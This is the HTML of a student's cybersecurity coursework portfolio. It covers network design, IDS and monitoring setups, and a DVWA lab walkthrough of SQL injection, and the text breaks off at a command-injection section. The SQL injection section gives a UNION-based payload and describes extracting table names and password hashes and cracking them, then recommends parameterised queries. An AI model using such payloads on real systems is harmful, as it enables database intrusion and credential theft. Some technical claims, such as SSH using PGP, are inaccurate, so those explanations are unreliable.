class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly 